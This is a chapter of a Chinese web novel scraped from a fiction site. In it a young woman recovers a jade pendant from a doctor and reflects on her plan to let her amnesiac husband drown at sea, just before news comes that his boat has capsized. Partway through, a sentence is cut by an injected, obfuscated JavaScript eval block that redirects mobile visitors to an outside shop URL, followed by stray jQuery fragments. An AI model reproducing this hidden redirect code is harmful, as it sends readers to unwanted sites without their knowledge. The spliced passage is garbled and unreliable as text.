文趣网 > 其他小说 > 得鹿 > 6. 下手
    站在医馆门外,谢宁从伸手不见五指站到了天光熹微。

    将养了大半月,腿恢复的很好,但这样在寒露中站了半宿,还是有些经不住,患处又起了丝丝入骨的疼痛。

    昨晚刚换一身旧衣,是被救起时穿的那身,那个圆脸丫环的衣服,浆洗的很干净,过了一夜依然嗅得到淡淡皂角香味。

    她永远记得换上这衣服的那一天,恐惧,疼痛,高烧,还有那个人嘲讽的眼,丝帛擦过碰了她的手指时的厌恶,鞋尖碾过她脸颊时的粗粝……

    一切都历历在目。

    那才是周弗陵对她所持的真实态度。

    此刻,她努力回想着这些画面来抵消心里的空洞。

    不知第几颗楝树的黄果掉在身上,恰好落在肩头,不滚了。

    传来几声清嗓子似的咳嗽,屋内陡然亮了起来,从木板缝隙间漏出几缕昏黄灯光,刚好落在她脚下一点。

    动了动,抬起头,谢宁拄拐上前敲响了那扇漏光的木门。

    “谁啊?”

    没说话,只暂停了一下,继续敲。

    屋内杂音顿时忙乱起来,很快,响起门闩推动声音,木门被快速扒开。

    老大夫露出半个身子,看到来人,神色滞了一下,“大清早的,出了何事?”

    四周扫了一眼,未见他人,以为是重症,神色凝重起来,“先进来,你那俊俏郎君怎么没同你一起?”

    他上前预备扶人。

    谢宁摇头拒绝,拄着拐,顺着大夫指引落座。

    搭着她的脉,凝神把了好一会儿,老头眉头皱起,纳罕道,“脉象平稳有力,比你上次好多了,休养的不错呀。”

    一手捻着花白的胡子,大夫望了又望,“你这是怎么了,同夫婿吵嘴了。”

    谢宁将右手收回,视线虚虚垂落前方,“大夫,我留在这儿给你打一年的工,你把我夫君抵给你玉佩还我成吗?”

    “嘿,报的是这个心思啊!不成不成,我要你一个瘸腿的女流有何用?你这法子太赖皮了啊,我这儿又不是大富大贵……”

    “老头,我记性好,认得药材,识字,能写方子,你之前赶走的那几个小厮,他们干不了的我都能干;那玉佩不值钱的,你给我吧。”

    认得药材,还能写方子,这两点确实一下打在心上了。

    但还摇着头拒了又拒,大夫毕竟没打算招个女徒弟,可这小娘子嘴里反反复复的就是要他把玉佩还她。

    大夫黑脸发了一通脾气还厚脸皮地坐那儿不动。屋外太阳从江面露出半个头,将这年轻娘子被露水浸得微微湿润的衣衫照的很清楚。

    莫不是两个小年轻因为银钱吵了嘴,这小娘子赌气出来在他门外站了一宿?唉,贫贱夫妻百事哀啊。

    算了算了。

    瞅了一眼又一眼,难得动了一点恻隐之心。

    也确实她的两项长处可取。

    于是粗声道,“原本你夫君那这玉佩换我的天参就是占了便宜了,你现在还要要回去,果然是夫妻,两个人的算盘珠子都打到老朽脸上了。”

    叹了口气,转身进屋,出来后,将玉佩掷下。

    “少年夫妻老来伴,共枕眠的缘分几世难休,老夫今日就做件善事,拿去哄你那夫君吧。”

    真给了她,这小娘子却也没有多高兴的样子,依旧寡着脸,要不是她立刻拾起那东西,握在手中,都要以为她根本不在乎。

    东西说是玉佩,其实更像个玉坠子,半黄不绿的成色,表面黯淡无光,一看就知道值不了多少钱。

    眼前忽然浮现,那个人锦衣华服,却任由这块寒酸至极的东西在腰线之下流畅跳动的样子。

    他当时是什么表情来的?费力回想,画面依旧模糊,只有轮廓身影,谁叫她之前从未正眼瞧过他呢。

    摩挲几下,收入怀中。

    即将踏出大门时大夫叫住人:“小娘子可不要忘记应承我的话哦,老夫此处是真的缺人手。”

    “不会,我很快会过来。”

    收完尸就过来。

    想到这儿,心脏那块儿蓦地抽动起来,泛起一阵针扎一样的刺痛,不是特别疼,但像抽丝一样密密麻麻。

    这种感觉很陌生,不过她认为是正常的,就算养条狗,狗在她受伤的时候,衣不解带照顾了大半个月,也会有点感情的。

    何况,这狗是因为家中弹尽粮绝,要寻食才出门的。

    大爷近来常常来找他,院子里也忽然多了许多旧的鱼具。

    “附近没什么活儿,咱们这个是小码头,许多大船都不停,你要想养活自己同你那娘子,少不得要同我们一样,靠天吃饭。”

    于是周弗陵真的去跟大爷学打渔,还学得有模有样。

    好几日,他清晨随大爷去江边浅滩拉网,临进晌午才回,手里总能提着一条新鲜猪骨。

    他如今的手艺不似往昔,进步飞速,做的骨头汤让谢宁垂涎三尺。

    不过随着日子一天比一天冷,浅滩捞不到什么东西,大爷说让他随自己出海去,运气好的话,出海捞一船回来,能管一个月的开销。

    大家都如火如荼地准备着,大爷帮他以很低的价格租到条渔船,上面的东西可以任用,大娘帮缝补了旧渔网,补得结实牢靠。

    就连小玉,都小大人一样,将腰舟的葫芦一个又一个地灌水检查密封性。

    而抱着拐杖的人,坐在枯黄楝树下,望着眼前忙碌的一幕,却是在绞尽脑汁地思考怎么能让人回不来。

    这是个很好的机会,他不会水,出海原本就是有风险的,要是落水,必定没有生还的可能。

    那天之后多番试探,都没觉察那人有恢复记忆的可能,本来是打算腿好了之后再计划,可前天,大娘在院里补渔网时同她闲聊,说起官府今日在征粮,前方预计有战事。

    “说是东山岛的王爷反了,胶州失守了……”

    当时院子里就只有她和大娘,周弗陵同大爷收拾旧船去了。

    谢宁心跳陡然惊了一下。

    周弗陵的父亲周成,反了!天呐,这,距离她清缘寺祈福,不到一个月,这世道就要翻了个面了?

    按理来说,古代都讲究“君权神授”,就算东山王早有反叛之心,也不应该这么快,难道周弗陵的这次落水,不是意外,是他的故意为之,为的就是给他父亲东山王一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788245|210254||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个名正言顺的反叛之名?

    但是出了差错,他意外失忆了?

    不管真相如何,谢宁能确定的是现在一定有很多人在找他们两个,一个月的时间,原本以为很短,可现在一座城池就在她浑浑噩噩的这一个月易主了,这个时代人的搜救速度未必如她以为的那样不堪。

    周弗陵是二皇子一派的,不论他爹的造反有没有他的参与,这个人如果被找到或是恢复记忆,那,周谦的处境只会更加艰难。

    或者更糟糕,二皇子,周弗陵,这两个人一个比一个暴戾阴狠,如果是他们这样的人掌握天下人的生杀大权,那不是比如今这个平庸皇帝的治下还要更惨烈。

    不行,不能让周弗陵活着跟任何人会和。

    迅速往门口方向去了一眼,“大娘,今日的事,还请别再我夫君面前说,他幼时颠沛,害怕战争。”

    一切就绪,就待出船。

    昨夜,院子外传来几声狗叫,少年睁开眼,动作很轻地掀开被子,帮一旁闭着眼睛的一团掖好。

    摸黑绑头发的时候,谢宁还是打了个哈欠,坐了起来。

    “这么早?”

    黑暗中只能看见彼此的模糊轮廓。

    咬着发带的高大少年愣了愣,很快绑好长发,马尾高扬。

    飞快地应了声“嗯。”

    “才刚过子时,你继续睡吧。”

    谢宁没说话。

    瘦长身影安静站了一会儿,不知道在看什么。

    “我走了。”

    脚步在门口停住,传来他略低声音,“很快回来。”

    门打开又关上,婉转“吱呀”两声。

    冷杉似的淡雅清香越来越淡,淡到似乎下一刻就要完全消散的时候,忽地,她动了动鼻子,侧头,枕边同薄被下的气息缠绕着弥散至她四周,顿时,冷杉气味又浓烈起来,萦绕着她。

    很快回来?

    谢宁嘴角牵动了下。

    你回不来了。

    拄着拐杖,谢宁从大夫那儿回到家,天已大亮。

    坐在楝树下,看远处的太阳微微地露出一个角。

    秋天的风总带着丝凉意,吹到脸上,身上,平时还好,但如果心里有事的人,被这种凉风吹一吹,总难免会生出些沉重的情绪。

    秋天的凉意,会放大人心里的萧瑟。

    再让人感觉温暖的日光,看久了,也依然刺眼。

    闭上眼睛的时候,两行热泪就顺着脸颊滑下,带走了一晚没睡的涩然,脸颊也渐渐冰凉,但眼睛是舒服的。

    “周家娘子,不好了,不好了呀。”

    妇人焦急地跑进来院子,看也没看她这个方向,径直去拍房门。

    “小娘子,快起来,出事了,你男人的船翻了,我家老汉刚带了人去寻他,这可怎么办好啊……”

    快速抹了下脸,谢宁拄着拐杖,吃力站起,哑声道:“我在这儿,大娘。”

    “哎,小娘子,你怎的今朝起这么早,我,我刚说的……”

    握紧手心的玉坠。

    “我都听到了。”话音微顿,“他的船翻在哪里,大娘你……能不能带我去一趟。”